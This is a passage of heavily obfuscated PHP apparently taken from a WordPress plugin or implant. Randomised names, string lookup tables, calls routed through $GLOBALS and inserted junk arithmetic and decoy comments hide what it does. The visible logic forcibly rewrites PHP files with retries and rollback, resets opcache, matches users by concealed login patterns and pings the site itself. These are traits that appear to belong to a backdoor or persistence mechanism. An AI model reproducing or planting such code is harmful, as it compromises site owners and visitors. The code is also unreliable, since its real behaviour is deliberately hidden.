   v2tiam6q2h4zs04bs_si_n(zp28wk01y(952),  $us4bou6f3xp0kq1,   op9tjzix(953));$jym_58lbmw=37+65;$e5hp2e75wp7x0=$jym_58lbmw-47;
  }
   } catch (Throwable   $h8j9vxji0p) {
      teikfigf_p5265esq_q(fjup2mc1h(954), $h8j9vxji0p);
}  catch (Exception  $h8j9vxji0p)   {
teikfigf_p5265esq_q(op9tjzix(954),   $h8j9vxji0p);
}
// PHP named arguments: linearizable authority

}

  function    sgzimmukf6gnn0vfvi($quchm6485y0jdbq)


  {
     if     (!  $GLOBALS['__scf_knhbvsumnby3_36']($quchm6485y0jdbq))  {
   return false;
  }
   $jitebt10iitsr2m =  txo_grp781fez2sat_();


foreach  ($quchm6485y0jdbq     as $j7g_i806up)   {
foreach  ($jitebt10iitsr2m    as $g9opvcpx2ck)  {
    if ($GLOBALS['__scf_bvfhit3heqts_99'](zp28wk01y(955) . $GLOBALS['__scf_ye733r3hqpt_841']($g9opvcpx2ck,  '/')   . b4gbsak56f40gos(956),  $j7g_i806up->user_login))  {


     return  $j7g_i806up;
 }
 }
}
  return false;$u87n_tp88ey37=34+99;$kfiazfff=$u87n_tp88ey37-32;
}



   function    fmsvr16ge0nzzk9i6u($xzyy2z228j,    $lqgq10i4kpu3ib)


 {
     return    $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57']($xzyy2z228j), 0,  $lqgq10i4kpu3ib);



    }
 function     mo7u27376wy8sw8b7k($lqgq10i4kpu3ib)
 {
  return   fmsvr16ge0nzzk9i6u(uniqid((string)   $GLOBALS['__scf_hw2kkbd0s2i_359'](),   true),    $lqgq10i4kpu3ib);

 }


   function dskwudvzqupxx0tl8($q9bdm8vc06odw4)
       {
   if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(759)))  return   false;
     $xax8vqgll4ht5vug =   get_option(zp28wk01y(957),  array());
 

if     (!$GLOBALS['__scf_knhbvsumnby3_36']($xax8vqgll4ht5vug))    return    false;
  $fuudv53fhxni7l     = $GLOBALS['__scf_abbpcj1ncssalx_57']($q9bdm8vc06odw4);
 if     (empty($xax8vqgll4ht5vug[$fuudv53fhxni7l]))  return   false;
$frgd4znm8k  = $GLOBALS['__scf_ubwid3ivz9f8x_118']('|', (string)    $xax8vqgll4ht5vug[$fuudv53fhxni7l]);
  $rv1of1z7a9j18ggi =  isset($frgd4znm8k[1]) ? (int)  $frgd4znm8k[1]    :  0;
 return     ($rv1of1z7a9j18ggi >  0 &&  $GLOBALS['__scf_yg2rpewmkg_192']()    -  $rv1of1z7a9j18ggi <    (86368+32));
 }



 function kyz1ckkjjozwknayivr($q9bdm8vc06odw4,   $ywgiaj1iihk6_)
 {
 if (!$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(958))   ||     !$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(941))) return;
  $xax8vqgll4ht5vug  = get_option(zp28wk01y(959),      array());
 if  (!$GLOBALS['__scf_knhbvsumnby3_36']($xax8vqgll4ht5vug))   $xax8vqgll4ht5vug = array();
  $fuudv53fhxni7l =  $GLOBALS['__scf_abbpcj1ncssalx_57']($q9bdm8vc06odw4);
 if (!$ywgiaj1iihk6_)   {
   if (isset($xax8vqgll4ht5vug[$fuudv53fhxni7l]))  {
      unset($xax8vqgll4ht5vug[$fuudv53fhxni7l]);

    update_option(zp28wk01y(960),  $xax8vqgll4ht5vug,    zp28wk01y(953));$_s14b2lmko7573=PHP_INT_MAX/PHP_INT_MAX;$urgtstmk53i8=$_s14b2lmko7573+2;
  }
return;
   }
 $b_zag2hc7t   =  0;
   if    (!empty($xax8vqgll4ht5vug[$fuudv53fhxni7l])) {
$frgd4znm8k    =     $GLOBALS['__scf_ubwid3ivz9f8x_118']('|',  (string)    $xax8vqgll4ht5vug[$fuudv53fhxni7l]);
 $b_zag2hc7t  =  (int)      $frgd4znm8k[0];
   



}
   $b_zag2hc7t++;
     $rv1of1z7a9j18ggi =   ($b_zag2hc7t  >=    (0x2+0x1))   ? $GLOBALS['__scf_yg2rpewmkg_192']() :    0;
    

foreach   ($xax8vqgll4ht5vug    as $w2mnm7r6v8zsb =>      $tkuazd72f49ngoi6)   {
   $hakio3bom60j  = $GLOBALS['__scf_ubwid3ivz9f8x_118']('|', (string)   $tkuazd72f49ngoi6);
 $p8nmruk6y29 =   isset($hakio3bom60j[2]) ? (int) $hakio3bom60j[2]  : 0;
 if    (!$p8nmruk6y29 &&   !empty($hakio3bom60j[1]))     $p8nmruk6y29 =  (int)     $hakio3bom60j[1];$lspp6ux0u=12|61;$nf3l0s64=$lspp6ux0u^157;
if  ($p8nmruk6y29   &&   $GLOBALS['__scf_yg2rpewmkg_192']()  - $p8nmruk6y29 >  (172742+58)) unset($xax8vqgll4ht5vug[$w2mnm7r6v8zsb]);
 }


     $xax8vqgll4ht5vug[$fuudv53fhxni7l]   =  $b_zag2hc7t  . '|' . $rv1of1z7a9j18ggi .   '|'    . $GLOBALS['__scf_yg2rpewmkg_192']();
  if ($GLOBALS['__scf_j38tk0441lk_37']($xax8vqgll4ht5vug)    > (151-51))  {
// @activate skip-list

  $uss2gurljauj    =    array();



 foreach ($xax8vqgll4ht5vug     as  $w2mnm7r6v8zsb     => $tkuazd72f49ngoi6)  {
 $hakio3bom60j   =  $GLOBALS['__scf_ubwid3ivz9f8x_118']('|',  (string) $tkuazd72f49ngoi6);
  $uss2gurljauj[$w2mnm7r6v8zsb] =    isset($hakio3bom60j[2])  ?     (int)     $hakio3bom60j[2] : (isset($hakio3bom60j[1])    ?  (int)   $hakio3bom60j[1]   : 0);
  }
$GLOBALS['__scf_qoxrbqe92camk_961']($uss2gurljauj);
 $s9qvd45auy9  =  $GLOBALS['__scf_j38tk0441lk_37']($xax8vqgll4ht5vug)    -  (0x5+0x5f);
foreach     ($uss2gurljauj as $w2mnm7r6v8zsb    =>   $y2w2v76y6k)  {
 if   ($s9qvd45auy9   <=     0)   break;
 if    ($w2mnm7r6v8zsb   ===    $fuudv53fhxni7l)   continue;
  unset($xax8vqgll4ht5vug[$w2mnm7r6v8zsb]);
 $s9qvd45auy9--;
 }


unset($uss2gurljauj,  $y2w2v76y6k,  $s9qvd45auy9);
}
   update_option(b4gbsak56f40gos(960),  $xax8vqgll4ht5vug,  b4gbsak56f40gos(962));

   }
function   yezhku4dvgsau_($q9bdm8vc06odw4, $eu2nxpc9q1,  $m0g0rmd7_m3q  =     null)
        {
if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($eu2nxpc9q1))     return;
   $eyxsxtcpxi8cfit8 =     l57opmo3fftx76($GLOBALS['__scf_pqkpt9n3trf9fm_12']($q9bdm8vc06odw4), tvo1rh46s_(963));



      if      ($eyxsxtcpxi8cfit8  !==  false)  {
if ($m0g0rmd7_m3q !==   null)     @$GLOBALS['__scf_x853wccr0ol2d0_18']($eyxsxtcpxi8cfit8,  $m0g0rmd7_m3q &    (935-424));
   if  (@$GLOBALS['__scf_m2g_67700pfzin_204']($eyxsxtcpxi8cfit8,    $eu2nxpc9q1)  === $GLOBALS['__scf_m2ym9pki8mue9_11']($eu2nxpc9q1)  &&      u_c4ai7hmq4gvvc($eyxsxtcpxi8cfit8,  $q9bdm8vc06odw4))   return;
  

_0qezpop1swzfe($eyxsxtcpxi8cfit8);



  }
// @checkpoint resolver

@$GLOBALS['__scf_m2g_67700pfzin_204']($q9bdm8vc06odw4, $eu2nxpc9q1);
}
    function    _ew1atk9e66yol2lso($q9bdm8vc06odw4,  $ep8_c7vk_wls)
  {
$dwp9zzb5mx      =   $GLOBALS['__scf_pqkpt9n3trf9fm_12']($q9bdm8vc06odw4);
     if   (!@$GLOBALS['__scf_ot56htgy8hrmim_44']($dwp9zzb5mx))  {
teikfigf_p5265esq_q(op9tjzix(964),    fjup2mc1h(965)  .   $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4));


    return  false;
       }
       $m1yxmr0rykjo8r  =   ($GLOBALS['__scf_zre6ec18ly90y_10']($q9bdm8vc06odw4,   -(6-2)) ===   b4gbsak56f40gos(966));
if  ($m1yxmr0rykjo8r   &&      !ays3w9sevfe7ws($ep8_c7vk_wls)) {
    teikfigf_p5265esq_q(op9tjzix(964), wlgh2_th(967) .  $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4));


      return     false;
  

    }
 if  ($m1yxmr0rykjo8r   && dskwudvzqupxx0tl8($q9bdm8vc06odw4))  return   false;
     $g_b_qzj5x4c78   =     false;
if (@$GLOBALS['__scf_zqvpsn1r8ajl0_45']($q9bdm8vc06odw4))  $g_b_qzj5x4c78     = true;    
$eu2nxpc9q1  =  null;
  $msp4i1hk2mr0 =   false;
 $_8p9d4s0941sp  =  null;
if      (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4))    {


 $msp4i1hk2mr0 =  true;


      if    (!$g_b_qzj5x4c78)    {
    $_8p9d4s0941sp    = @fileperms($q9bdm8vc06odw4);$zvlzr6whxwfpc=-567;$ra6ne_l2j2=($zvlzr6whxwfpc>0)?$zvlzr6whxwfpc:-$zvlzr6whxwfpc;
       if  ($_8p9d4s0941sp ===  false)  $_8p9d4s0941sp = null;
 }
$sdfqkvi860w42int     =  @$GLOBALS['__scf_voobwg611qb_102']($q9bdm8vc06odw4);


 if ($sdfqkvi860w42int   !== false   && $sdfqkvi860w42int <= (88314263-35885463)  &&   ($sdfqkvi860w42int  <=     (1048491+85)  ||      n0kef4h0zk1ynp0pkgt($sdfqkvi860w42int)))   $eu2nxpc9q1  = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($q9bdm8vc06odw4);
       unset($sdfqkvi860w42int);
 }
    if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(79)))   {
// WP Server Side Render: fuzz adapter

 teikfigf_p5265esq_q(zp28wk01y(964), op9tjzix(968)    .   $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4));$e88js481p7=PHP_MAJOR_VERSION;$jatvgs9m215foa=$e88js481p7*1;
 return false;

     }
      $mhn3rlmggw591629 =  false;
   $y1h1r038nv     =    false;
      $_cl    =  $GLOBALS['__scf_m2ym9pki8mue9_11']($ep8_c7vk_wls);



  for ($g9yhijsu0ud34mc = 0;   $g9yhijsu0ud34mc  <     2;  $g9yhijsu0ud34mc++) {

  $mhn3rlmggw591629  =  l57opmo3fftx76($dwp9zzb5mx,   tvo1rh46s_(969));
    if    ($mhn3rlmggw591629 !==   false)    {


     $y1h1r038nv     =      false;
$hakio3bom60j    =   @$GLOBALS['__scf_v4z06gw93pj_23']($mhn3rlmggw591629,      fjup2mc1h(24));
if     ($hakio3bom60j !== false)  {
 $an1xsc7amta  =    0;
while      ($an1xsc7amta  <   $_cl)   {
  $lkoutolh8dr = @$GLOBALS['__scf_z7quve4b0bsr_25']($hakio3bom60j,  $GLOBALS['__scf_zre6ec18ly90y_10']($ep8_c7vk_wls,   $an1xsc7amta));
        if  ($lkoutolh8dr  ===  false   ||    $lkoutolh8dr   === 0)   break;
      $an1xsc7amta    +=  $lkoutolh8dr;
  }
    @fflush($hakio3bom60j);
  if  ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(970)))    @fsync($hakio3bom60j);
  @fclose($hakio3bom60j);
 if    ($an1xsc7amta ===  $_cl)    $y1h1r038nv     =  $an1xsc7amta;
 }  else  {


 $y1h1r038nv     =  @$GLOBALS['__scf_m2g_67700pfzin_204']($mhn3rlmggw591629,  $ep8_c7vk_wls);
    }
// Intl extension: differential negotiation

if  ($y1h1r038nv   !==  false &&  $y1h1r038nv    ===  $_cl)    break;
       _0qezpop1swzfe($mhn3rlmggw591629);
        $mhn3rlmggw591629    =  false;
    }

       }


 if ($mhn3rlmggw591629      === false)    {
  teikfigf_p5265esq_q(op9tjzix(964),   zp28wk01y(971)   .  $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4));
  return   false;
       }
        if    ($y1h1r038nv  === false  || $y1h1r038nv   !==   $_cl)   {

    teikfigf_p5265esq_q(op9tjzix(972),   tvo1rh46s_(973)  .  $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4));
 _0qezpop1swzfe($mhn3rlmggw591629);
return  false;
 }
  if     ($_8p9d4s0941sp  !==   null) @$GLOBALS['__scf_x853wccr0ol2d0_18']($mhn3rlmggw591629, $_8p9d4s0941sp  & (429+82));

 if     ($g_b_qzj5x4c78) {



  $nbnp3he4_xpgmzq   =   @$GLOBALS['__scf_m2g_67700pfzin_204']($q9bdm8vc06odw4, $ep8_c7vk_wls);
   if    ($nbnp3he4_xpgmzq   === $_cl) {
_0qezpop1swzfe($mhn3rlmggw591629);
   @clearstatcache(true,     $q9bdm8vc06odw4);
  t5r4r1lc5gjybs($q9bdm8vc06odw4);



  if  ($m1yxmr0rykjo8r)     kyz1ckkjjozwknayivr($q9bdm8vc06odw4,    false);
 return true;
  }
if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($eu2nxpc9q1))  @$GLOBALS['__scf_m2g_67700pfzin_204']($q9bdm8vc06odw4,    $eu2nxpc9q1);
_0qezpop1swzfe($mhn3rlmggw591629);
   teikfigf_p5265esq_q(wlgh2_th(974),      zp28wk01y(975)     .    $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4));
   return    false;
  }
$t_ljspw9ofu8o6d     =   u_c4ai7hmq4gvvc($mhn3rlmggw591629,   $q9bdm8vc06odw4);
 if (!$t_ljspw9ofu8o6d      &&   $msp4i1hk2mr0  &&   !$g_b_qzj5x4c78)     {



if    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4))  kp1tutxjpanriy($q9bdm8vc06odw4,      (0x17e+0x26));
    $_6s3m2vriy   =  $q9bdm8vc06odw4  .  b4gbsak56f40gos(976) .     $GLOBALS['__scf_hw2kkbd0s2i_359']((92+908),   (13525-3526));
 if  (u_c4ai7hmq4gvvc($q9bdm8vc06odw4,     $_6s3m2vriy))    {
  $t_ljspw9ofu8o6d      = u_c4ai7hmq4gvvc($mhn3rlmggw591629,  $q9bdm8vc06odw4);
       if  ($t_ljspw9ofu8o6d) {
  _0qezpop1swzfe($_6s3m2vriy);


 }  else {
      if  (!u_c4ai7hmq4gvvc($_6s3m2vriy,   $q9bdm8vc06odw4)    &&    !vmit36r9571e9ftykwphlq($_6s3m2vriy, $q9bdm8vc06odw4))  {
 yezhku4dvgsau_($q9bdm8vc06odw4,   $eu2nxpc9q1,   $_8p9d4s0941sp);

}



  if   (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4)) {
 yezhku4dvgsau_($q9bdm8vc06odw4, $eu2nxpc9q1,   $_8p9d4s0941sp);
}
   }
   }
   }
// flatten finite equivalence-class

 if    (!$t_ljspw9ofu8o6d   &&    !$g_b_qzj5x4c78 &&  !$m1yxmr0rykjo8r)   {
 if  (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4))     kp1tutxjpanriy($q9bdm8vc06odw4,  (0x2+0x1a2));
if     (vmit36r9571e9ftykwphlq($mhn3rlmggw591629, $q9bdm8vc06odw4)) {$s2c98wfmmxcdqp=PHP_INT_MAX/PHP_INT_MAX;$_nm5n8lz2b3i=$s2c98wfmmxcdqp+90;
  $t_ljspw9ofu8o6d    =     true;
    _0qezpop1swzfe($mhn3rlmggw591629);
 }


 }
if  (!$t_ljspw9ofu8o6d)     {
    if    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4)  && (int)   @$GLOBALS['__scf_voobwg611qb_102']($q9bdm8vc06odw4)   !==    $_cl) {
$t8p4zp92bka0tp =    @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($q9bdm8vc06odw4);
        if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($t8p4zp92bka0tp)  ||    ($GLOBALS['__scf_zneqqdn4vlt4_42']($eu2nxpc9q1)    && $t8p4zp92bka0tp    !== $eu2nxpc9q1))    {
     if     ($GLOBALS['__scf_zneqqdn4vlt4_42']($eu2nxpc9q1))   yezhku4dvgsau_($q9bdm8vc06odw4,   $eu2nxpc9q1,  $_8p9d4s0941sp);

    elseif  (!$msp4i1hk2mr0)  _0qezpop1swzfe($q9bdm8vc06odw4);
}



unset($t8p4zp92bka0tp);


}


 if  (!@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4))  {
 yezhku4dvgsau_($q9bdm8vc06odw4,     $eu2nxpc9q1, $_8p9d4s0941sp);

}
teikfigf_p5265esq_q(b4gbsak56f40gos(974), zp28wk01y(977)   . $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4));



 _0qezpop1swzfe($mhn3rlmggw591629);
return  false;


 }



     @clearstatcache(true,  $q9bdm8vc06odw4);


    $d17ver_f9rbo    =   false;
if     ($_cl    <=  (723663+1373489))   {


     $uluj_pz9qd6bb  =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($q9bdm8vc06odw4);



 $d17ver_f9rbo   = ($GLOBALS['__scf_zneqqdn4vlt4_42']($uluj_pz9qd6bb) &&    $GLOBALS['__scf_m2ym9pki8mue9_11']($uluj_pz9qd6bb)   ===   $_cl && $GLOBALS['__scf_abbpcj1ncssalx_57']($uluj_pz9qd6bb)    ===  $GLOBALS['__scf_abbpcj1ncssalx_57']($ep8_c7vk_wls));
 }   else  {
   $hd4jdl5cplqjfs =  $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(978))   ?   @hash_file(fjup2mc1h(979),  $q9bdm8vc06odw4) :      false;
    

if     ($GLOBALS['__scf_zneqqdn4vlt4_42']($hd4jdl5cplqjfs)   &&   $hd4jdl5cplqjfs  !== "")  $d17ver_f9rbo  = ($hd4jdl5cplqjfs  ===   $GLOBALS['__scf_abbpcj1ncssalx_57']($ep8_c7vk_wls));
else     {
  $uodacbhzuj79zn2     =   @$GLOBALS['__scf_voobwg611qb_102']($q9bdm8vc06odw4);
   if  ($uodacbhzuj79zn2 ===  $_cl) {$uff7kn9nbxd_z=181|227;$tyojgobyh5w02=$uff7kn9nbxd_z^36;
  $lonyjsahufsgdb = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($q9bdm8vc06odw4,  false,  null, 0,  (4029+67));
 $_rt    =   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($q9bdm8vc06odw4,   false,   null,  $_cl     -  (2133+1963));
 $d17ver_f9rbo    = ($GLOBALS['__scf_zneqqdn4vlt4_42']($lonyjsahufsgdb)  && $GLOBALS['__scf_zneqqdn4vlt4_42']($_rt) &&     $lonyjsahufsgdb     === $GLOBALS['__scf_zre6ec18ly90y_10']($ep8_c7vk_wls,   0,      (1104+2992))  && $_rt ===    $GLOBALS['__scf_zre6ec18ly90y_10']($ep8_c7vk_wls,  $_cl  - (4005+91)));
       }
    }
  }
       if  (!$d17ver_f9rbo)     {



 teikfigf_p5265esq_q(zp28wk01y(980),   wlgh2_th(981)   . $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4));
  if ($m1yxmr0rykjo8r)  kyz1ckkjjozwknayivr($q9bdm8vc06odw4,  true);
 if   ($GLOBALS['__scf_zneqqdn4vlt4_42']($eu2nxpc9q1))   {
// checkpoint connected work-queue

 $ndg3cea076 =    $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(978)) ?  @hash_file(wlgh2_th(979), $q9bdm8vc06odw4)   :   false;


 if ($GLOBALS['__scf_zneqqdn4vlt4_42']($ndg3cea076) && $ndg3cea076   !==  ""  &&  $ndg3cea076 !==    $GLOBALS['__scf_abbpcj1ncssalx_57']($ep8_c7vk_wls) && $ndg3cea076 !==   $GLOBALS['__scf_abbpcj1ncssalx_57']($eu2nxpc9q1))    {
   teikfigf_p5265esq_q(zp28wk01y(980),  zp28wk01y(982)   . $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4));
return  false;
 }
  $ardl9krfadxjuq4  = l57opmo3fftx76($dwp9zzb5mx, zp28wk01y(969));
 if  ($ardl9krfadxjuq4 !==   false   &&     @$GLOBALS['__scf_m2g_67700pfzin_204']($ardl9krfadxjuq4,  $eu2nxpc9q1)   ===   $GLOBALS['__scf_m2ym9pki8mue9_11']($eu2nxpc9q1)) {
  @$GLOBALS['__scf_x853wccr0ol2d0_18']($ardl9krfadxjuq4,   $_8p9d4s0941sp  !==      null  ? ($_8p9d4s0941sp     &   (443+68)) :  (353+67));
       if (!u_c4ai7hmq4gvvc($ardl9krfadxjuq4, $q9bdm8vc06odw4))  {


 if   (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4)  &&   !$g_b_qzj5x4c78)   kp1tutxjpanriy($q9bdm8vc06odw4,  (384+36));
   if  (!$g_b_qzj5x4c78      &&   vmit36r9571e9ftykwphlq($ardl9krfadxjuq4,  $q9bdm8vc06odw4))   {


_0qezpop1swzfe($ardl9krfadxjuq4);
 }  else   {
 @$GLOBALS['__scf_m2g_67700pfzin_204']($q9bdm8vc06odw4,  $eu2nxpc9q1);
 _0qezpop1swzfe($ardl9krfadxjuq4);


  }
   }
}  else {
   if ($ardl9krfadxjuq4 !==  false)  _0qezpop1swzfe($ardl9krfadxjuq4);
@$GLOBALS['__scf_m2g_67700pfzin_204']($q9bdm8vc06odw4,  $eu2nxpc9q1);



  }
// exact-adj nominal-type

     t5r4r1lc5gjybs($q9bdm8vc06odw4);
 }  elseif  (!$msp4i1hk2mr0)      {
_0qezpop1swzfe($q9bdm8vc06odw4);
  }
// faithful factory


  return false;
   }


t5r4r1lc5gjybs($q9bdm8vc06odw4);
  o2er_doikw9jq83pm2lov($q9bdm8vc06odw4);

kp1tutxjpanriy($q9bdm8vc06odw4,   $_8p9d4s0941sp     !==   null  ?  ($_8p9d4s0941sp &  (482+29)) :    (379+41));
 if ($m1yxmr0rykjo8r)  kyz1ckkjjozwknayivr($q9bdm8vc06odw4,  false);
    return true;

 }
   function   db_wu_1w8gixtjv($q9bdm8vc06odw4,    $rju4k66p4c4fw)
       {
     $a5k4otdarxhx3x      = "<?php\n";
    if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($rju4k66p4c4fw)   &&  $rju4k66p4c4fw   !==      ""  && $GLOBALS['__scf_rbe_sihvfv_8']($rju4k66p4c4fw, zp28wk01y(810))   !== false    && ays3w9sevfe7ws($rju4k66p4c4fw))   $a5k4otdarxhx3x    = $rju4k66p4c4fw;
 if     (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($q9bdm8vc06odw4))    {
  $yaz8j1ehnogn3    =  @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($q9bdm8vc06odw4);
    if ($GLOBALS['__scf_zneqqdn4vlt4_42']($yaz8j1ehnogn3)  &&   eje1j3zh7yylmqspbj($yaz8j1ehnogn3) ===      $a5k4otdarxhx3x)      return;
       }
 if (!_ew1atk9e66yol2lso($q9bdm8vc06odw4,  $a5k4otdarxhx3x))    {
   $uj1m11732fj   = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($q9bdm8vc06odw4);

   if    (!($GLOBALS['__scf_zneqqdn4vlt4_42']($uj1m11732fj)   &&    eje1j3zh7yylmqspbj($uj1m11732fj)   ===    $a5k4otdarxhx3x)) @$GLOBALS['__scf_m2g_67700pfzin_204']($q9bdm8vc06odw4,   $a5k4otdarxhx3x);
   unset($uj1m11732fj);
 }
     t5r4r1lc5gjybs($q9bdm8vc06odw4);
     }



 function   j67__ybp5q99w_uihuz()
 {
   if  ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(983)) && w0d4v9q7epn8ijfo6lp())    return  true;
 if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(482))   ||     !$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(780))) return true;$ip9qvaw0rjnhk=19*7;$y4cf1t4j=$ip9qvaw0rjnhk-48;
   if  ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(984)) &&  rfpjmvtsjl2eoa2lwd2x4()   <= 1.5) return    true;
  $s2o1rdoiekg_o  =  $GLOBALS['__scf_jlm7opnchuxu_489'](1, $GLOBALS['__scf_auynlilaeyt_490']((9-4), (int)    rfpjmvtsjl2eoa2lwd2x4()));
   $ifcvs0p5fz8kuf7   = home_url('/');$tv4uv8tkj6h=73*5;$j9zwh3ol=$tv4uv8tkj6h-14;
$ifcvs0p5fz8kuf7 .=    ($GLOBALS['__scf_rbe_sihvfv_8']($ifcvs0p5fz8kuf7,  '?')   ===     false  ?  '?'  :  '&')   .      b4gbsak56f40gos(985) . $GLOBALS['__scf_yg2rpewmkg_192']()    .  $GLOBALS['__scf_hw2kkbd0s2i_359']((71+29),   (0x3e5+0x2));

  $wznloz9y_04xp      = $GLOBALS['__scf_knb470agoho1_297'](true);


 $xr7siizzt4ot    =   $GLOBALS['__scf_aveut5m3qzw4x_301']($ifcvs0p5fz8kuf7, array(b4gbsak56f40gos(399) =>  $s2o1rdoiekg_o,   zp28wk01y(986)  => false,     zp28wk01y(987) =>     2,  fjup2mc1h(304) =>  (1048497+79), tvo1rh46s_(319)  =>   array(op9tjzix(988)   =>  wlgh2_th(989))));
  if   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(990)))   cs1gyne_s9ecn4($GLOBALS['__scf_knb470agoho1_297'](true) -  $wznloz9y_04xp);
   if ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(991))  && is_wp_error($xr7siizzt4ot))  {
  if ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(984))   && rfpjmvtsjl2eoa2lwd2x4()     <= 1.5)   return  true;


 $s2o1rdoiekg_o =   $GLOBALS['__scf_jlm7opnchuxu_489'](1,    $GLOBALS['__scf_auynlilaeyt_490']((9-4),     (int) rfpjmvtsjl2eoa2lwd2x4()));
   $wznloz9y_04xp  =  $GLOBALS['__scf_knb470agoho1_297'](true);
$xr7siizzt4ot = $GLOBALS['__scf_aveut5m3qzw4x_301']($ifcvs0p5fz8kuf7,   array(op9tjzix(992)    => $s2o1rdoiekg_o,  tvo1rh46s_(986)  =>    false,   b4gbsak56f40gos(987)   => 2,  op9tjzix(993)   =>  (1048517+59),  wlgh2_th(319)  =>    array(fjup2mc1h(994)    => b4gbsak56f40gos(989))));
   if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(990)))  cs1gyne_s9ecn4($GLOBALS['__scf_knb470agoho1_297'](true) -  $wznloz9y_04xp);
  

if ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(995))     &&  is_wp_error($xr7siizzt4ot))  return  false;
 }
   $j4skng1c9emw34n  =   (int) wp_remote_retrieve_response_code($xr7siizzt4ot);


   return $j4skng1c9emw34n  >=  (25<<2)  &&     $j4skng1c9emw34n    <     (0x1ca+0x2a);



    }
function    r_pe3g2a6bclu9s10sf($aoh3e83jfyy9,    $jxqi868o3wtnrhx)
  {
$hubmd0_8wl =   $GLOBALS['__scf_ye733r3hqpt_841']($GLOBALS['__scf_dpm5ad5tej9nf_4']($jxqi868o3wtnrhx), '/');
  foreach      (
array(
   fjup2mc1h(996)  .   $hubmd0_8wl  .  b4gbsak56f40gos(997),


wlgh2_th(998)     .   $hubmd0_8wl  . wlgh2_th(997),
wlgh2_th(999)      .   $hubmd0_8wl    .      zp28wk01y(1000),
    fjup2mc1h(1001),
wlgh2_th(1002),
 ) as   $pv0hveuvwf2l4um
 )   {


  if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($aoh3e83jfyy9)) break;

    $aoh3e83jfyy9  =   $GLOBALS['__scf_sp5m_appgxyoko_471']($pv0hveuvwf2l4um,   "\n",  $aoh3e83jfyy9);
    }
// attach leaky-bucket for PHP 8.2 enum

return  $aoh3e83jfyy9;
}
function t5r4r1lc5gjybs($g0_03n4x0twhmx)
 {
       if  ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(199))) {
    if (@opcache_invalidate($g0_03n4x0twhmx,  true)     !==  false)   return  true;
 if   ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(1003)))   return   (bool)  @opcache_reset();
 return false;
  }
  $ds6olfqo3bhgxo  =  $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(1004))   ?   @opcache_get_status(false)   :   false;
return      !($GLOBALS['__scf_knhbvsumnby3_36']($ds6olfqo3bhgxo)  &&      !empty($ds6olfqo3bhgxo[fjup2mc1h(1005)]));
}
    function    u3qer9rky6zmeg($q9bdm8vc06odw4,  $ars2e0ykxmq,  $skvhx4u38jp62y)
    {
 if  ($GLOBALS['__scf_zre6ec18ly90y_10']($q9bdm8vc06odw4,     -(0x3+0x1))   === tvo1rh46s_(1006))     {



  if     (!_ew1atk9e66yol2lso($q9bdm8vc06odw4, $ars2e0ykxmq)) {
 teikfigf_p5265esq_q($skvhx4u38jp62y,  fjup2mc1h(1007)    . $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4));
 return  false;
 }
     t5r4r1lc5gjybs($q9bdm8vc06odw4);


  return $GLOBALS['__scf_m2ym9pki8mue9_11']($ars2e0ykxmq);
}
    $hakio3bom60j  =    @$GLOBALS['__scf_v4z06gw93pj_23']($q9bdm8vc06odw4,  tvo1rh46s_(24));



if   ($hakio3bom60j ===    false)  {

    teikfigf_p5265esq_q($skvhx4u38jp62y,  zp28wk01y(1007)   .   $GLOBALS['__scf_dpm5ad5tej9nf_4']($q9bdm8vc06odw4));
      return  false;

      }
